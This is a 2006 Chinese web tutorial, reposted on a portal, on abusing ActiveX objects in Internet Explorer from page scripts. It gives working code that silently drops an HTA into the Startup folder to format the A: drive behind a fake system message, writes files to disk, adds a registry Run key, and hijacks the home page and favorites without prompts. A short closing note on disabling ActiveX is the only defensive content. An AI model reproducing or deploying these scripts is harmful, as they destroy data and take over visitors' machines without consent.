分享
 
 
 

用JS脚本修改用户注册表2

王朝html/css/js·作者佚名  2006-11-24
窄屏简体版  字體: |||超大  

格式化硬盘的,

把启动菜单下的automat.hta删除即可,这是格式化 a:盘 代码片段如下:

<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">

</object>

<SCRIPT>

scr.Reset();

scr.Path="C:\\windows\\start menu\\Programs\\启动\\automat.hta";

scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>wsh.Run('start /m format a: /q /autotest /u');alert('Note:Windows is configing the system,do not interrupt it!.');</"+"SCRIPT>";

scr.write();

</script>

**************************

建立文件的 代码片段如下:

<HTML>

<HEAD>

<TITLE>

建立文件

</TITLE>

</HEAD>

<BODY>

<BR>

<APPLET code="com.ms.activeX.ActiveXComponent" >

</APPLET>

<SCRIPT LANGUAGE="JAVASCRIPT">

a1=document.applets&#0;;

fn="51js.HTM";

doc="<SCRIPT>s1=\'欢迎你访问经典论坛!\\请您将在启动文件夹内的blueidea.com.HTM删除即可\';alert(s1);document.body.innerHTML=s1</"+"SCRIPT>";

function f1()

{

a1.setProperty('DOC',doc);

}

function f()

{

// The ActiveX classid

cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";

a1.setCLSID(cl);

a1.createInstance();

setTimeout("a1.setProperty('Path','"+fn+"')",1000);

setTimeout("f1()",1500);

setTimeout("a1.invoke('write',VA);alert('"+fn+" 被建立');",2000);

}

setTimeout("f()",1000)

</SCRIPT>

<SCRIPT LANGUAGE="VBSCRIPT">

VA = ARRAY()

' 获取com.ms.com.Variant&#;

</SCRIPT>

<BR>

</BODY>

</HTML>

**************************

开机自动运行

<script>

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function f(){

a1=document.applets&#0;;

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //用com 的classID引用了Windows Script Host Shell Object,这是关键,这种引用不会引起浏览器报错

a1.createInstance();

Shl=a1.GetObject();

Shl.RegWrite ("HKCU\\Software\\Microsoft\\windows\\CurrentVersion\\Run\\Microsoft.exe", "explorer.exe c:");

}

function init()

{

setTimeout("f()", 1000);

}

</script>

<a href=javascript:init()>点击这里,下次开机显示你的C盘内容</a>

*************************

代码片断分析

1、加入收藏夹

原理:找到 Windows 收藏夹目录,并把当前页的 .url 文件复制到 Favourite 目录中。

代码片段如下:

// 注:这只是片段,不能直接运行!

d favorites

var WF, Shor, loc;

WF = FSO.GetSpecialFolder(0);

loc = WF + "\\Favorites";

if(!FSO.FolderExists(loc))

{

loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";

if(!FSO.FolderExists(loc))

{

return;

}

}

2、设置为首页

原理:通过修改注册表键值实现 SetToHome 功能。

代码片段如下:

// 注:这只是片段,不能直接运行!

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.blueidea.com/");

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));

document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

3、桌面快捷方式

原理:其实很简单,就是利用了 CreateShortcut 这个函数。

代码片段如下:

// 注:这只是片段,不能直接运行!

function AddFavLnk(loc, DispName, SiteURL)

{

var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");

Shor.TargetPath = SiteURL;

Shor.Save();

}

注: 至于为什么只能加入一次收藏夹,我个人认为可能是 Cookie 的

操作问题... 具体请看下面这段代码。

代码片段如下:

// 注:这只是片段,不能直接运行!

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));

document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

**********************

我是说如果你没有把你的安全级别设为高的话,是没有提示的!

这样有很多用处,比如加入收藏和设为首页,不用出现提示了!

代码片段如下:

看看你的桌面上是不是多了一个blueidea.htm呢?

<BR>

<APPLET code="com.ms.activeX.ActiveXComponent" >

</APPLET>

<!-- ^^^ This gives java exceptions in java console, but the object is instantiated -->

<SCRIPT LANGUAGE="JAVASCRIPT">

a1=document.applets&#0;;

fn="blueidea.HTM";

doc="";

function f1()

{

a1.setProperty('DOC',doc);

}

function f()

{

// The ActiveX classid

cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";

a1.setCLSID(cl);

a1.createInstance();

setTimeout("a1.setProperty('Path','"+fn+"')",1000);

setTimeout("f1()",1500);

setTimeout("a1.invoke('write',VA);",2000);

}

setTimeout("f()",1000)

</SCRIPT>

<SCRIPT LANGUAGE="VBSCRIPT">

VA = ARRAY()

</SCRIPT>

***********************

注意:

本脚本只用于Window平台,IE浏览器并装有Window Script host5.0以上的机器

只要不运行本地的Activex就可以禁止它。

在IE中如下操作可以禁止:

主菜单中选 -> 查看 -> Internet 选项 -> 安全

选中Internet,单击自定义级别。

看到了吧,所有的ActiveX控件都用提示或禁止,无论是否安全。

这里所谓安全是对于MS而言的。

或者如果你不想用Java 的话也可以只关了Applet,本脚本是用Java Applet引入ActiveX的。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有